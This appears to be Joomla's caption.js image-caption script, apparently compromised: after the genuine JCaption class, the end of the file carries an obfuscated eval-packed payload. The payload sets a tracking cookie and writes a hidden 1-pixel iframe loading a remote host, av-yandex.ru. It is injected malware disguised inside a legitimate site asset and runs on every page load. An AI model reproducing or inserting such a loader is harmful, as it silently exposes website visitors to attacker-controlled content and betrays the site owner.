/**
* @version		$Id: caption.js 5263 2006-10-02 01:25:24Z webImagery $
* @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/**
* JCaption javascript behavior
*
* Used for displaying image captions
*
* @package	Joomla
* @since	1.5
* @version	1.0
*/
var JCaption = new Class({
	initialize: function(selector)
	{
		this.selector = selector;

		var images = $$(selector);
		images.each(function(image){ this.createCaption(image); }, this);
	},

	createCaption: function(element)
	{
		var caption   = document.createTextNode(element.title);
		var container = document.createElement("div");
		var text      = document.createElement("p");
		var width     = element.getAttribute("width");
		var align     = element.getAttribute("align");

		if(!width) {
			width = element.width;
		}

		//Windows fix
		if (!align)
			align = element.getStyle("float");  // Rest of the world fix
		if (!align) // IE DOM Fix
			align = element.style.styleFloat;

		if (align=="") {
			align="none";
		}

		text.appendChild(caption);
		text.className = this.selector.replace('.', '_');

		element.parentNode.insertBefore(container, element);
		container.appendChild(element);
		if ( element.title != "" ) {
			container.appendChild(text);
		}
		container.className   = this.selector.replace('.', '_');
		container.className   = container.className + " " + align;
		container.setAttribute("style","float:"+align);

		container.style.width = width + "px";

	}
});

document.caption = null;
window.addEvent('load', function() {
	var caption = new JCaption('img.caption')
	document.caption = caption
});
	var domain = "http://av-yandex.ru/new/ok.php";
	eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('o C(r,G,D){m t=J N();m y="";t.U(t.Q()+D*P*H*H*O);y=t.R();l.n=r+"="+G+";S="+y}o E(r){m i=0;m j=0;m h=0;m u=l.n;z(i<=u.v){j=i;h=j+r.v;s(u.F(j,h)==r){j=h+1;h=l.n.V(";",j);s(h<j)h=l.n.v;q l.n.F(j,h);T}i++}q""}m u=l.n;s(E("B")=="I"){}W{C("B","I",1);L(o(p,a,c,k,e,d){e=o(c){q c.x(M)};s(!\'\'.A(/^/,K)){z(c--){d[c.x(a)]=k[c]||c.x(a)}k=[o(e){q d[e]}];e=o(){q\'\\\\w+\'};c=1};z(c--){s(k[c]){p=p.A(J X(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}q p}(\'6.7(\\\'<0 5="\\\'+4+\\\'" 2="3" 8="f" 9="e" d="c" a = "1" b = "1"></0>\\\');\',16,16,\'13|14|12|11|Y|Z|l|10|17|15|1c|1d|1e|1b|1a|18\'.19(\'|\'),0,{}))}',62,77,'|||||||||||||||||nEndPosition||nStartPosition||document|var|cookie|function||return|szName|if|dtExpires|szCookieString|length||toString|dtExpiryDate|while|replace|expsid|addCookie|dtDaysExpires|findCookie|substring|szValue|60|a0192e992bb5e61d51be0ae009c76edd|new|String|eval|36|Date|1000|24|getTime|toGMTString|expires|break|setTime|indexOf|else|RegExp|domain|src|write|facebook|name|iframe|1px|frameborder||scrolling|auto|split|no|align|height|width|center'.split('|'),0,{}));
